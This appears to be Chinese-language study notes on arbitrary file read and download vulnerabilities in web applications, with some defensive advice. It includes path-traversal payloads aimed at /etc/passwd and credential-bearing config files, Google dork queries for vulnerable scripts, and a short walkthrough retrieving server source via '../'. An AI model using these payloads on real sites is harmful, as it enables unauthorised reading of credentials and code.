PHP: inc/config. php获得数据库连接字符串中的口令信息
asp: inc/conn.asp文件,获得数据库连接字符串,得到数据库口令。
aspx: web.config网站根目录文件,获得数据库连接信息。
JSP: conf/ tomcat-user.xml文件,获得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,获得数据库连接字符串中的口令信息。
<?php $filename = "test.txt"; readfile($filename); ?> <?php $filename = "test.txt"; $fp = fopen($filename,"r") or die("Unable to open file!"); $data = fread($fp,filesize($filename)); fclose($fp); echo $data; ?> <?php $filename = "test.txt"; echo file_get_contents($filename); ?>
任意文件下载直接下载:
<a href="https://www.xx.com/a.zip" >Download</a>
用header()下载:
<?php $filename = "uploads/201607141437284653.jpg"; header('Content-Type: imgage/jpeg'); header('Content-Disposition: attachment; filename='.$filename); header('Content-Lengh: '.filesize($filename)); ?>
Google searchinurl:"readfile.php?file=" inurl:"read.php?filename=" inurl:"download.php?file=" inurl:"down.php?file=" 等等...
漏洞利用代码readfile.php?file=https://www.jb51.net/etc/passwd readfile.php?file=../../../../../../../../etc/passwd readfile.php?file=../../../../../../../../etc/passwd%00
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞
可以用Google hacking或Web漏洞扫描器 从链接上看,形如: • readfile.php?file=***.txt • download.php?file=***.rar 从参数名看,形如: • &RealPath= • &FilePath= • &filepath= • &Path= • &path= • &inputFile= • &url= • &urls= • &Lang= • &dis= • &data= • &readfile= • &filep= • &src= • &menu= • META-INF • WEB-INF 目录符号等 ../ ..\ .\ ./等 %00 ? %23 %20 .等
漏洞验证• index.php?f=../../../../../../etc/passwd • index.php?f=../index.php • index.php?f=file:///etc/passwd 注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞, 若显示源码或提示下载则是文件查看与下载漏洞
漏洞防范任意文件下载漏洞的简单防护措施
1、过滤“.”符号,使用户在url中无法回溯到上级目录。
2、使用正则表达式严格判断用户输入参数的格式。
3、php.ini配置文件中对于open_basedir进行配置,限定用户的文件访问范围。
4、固定目录
1、判断是否为文件上传漏洞
点击任意图片,发现下载了图片,复制图片下载链接查看
?filename=kb.png
查看参数名为filename,查看参数后面的值也与下载的文件名一样
初步判定为文件上传漏洞
2、判断下载路径
filename的文件名是单纯的文件名,可判断是前面加了路径名,也可能是与网站在同一个目录下
通过URL判断文件是通过跳转到execdownload.php页面下载的,我们试试看可不可以直接下载到execdownload.php这个源码
?filename=execdownload.php
发现显示无法下载,说明该execdownload.php与文件不在同一个路径下,我们尝试下到上一级路径
?filename=../execdownload.php
成功下载,打开源码发现是在download文件夹下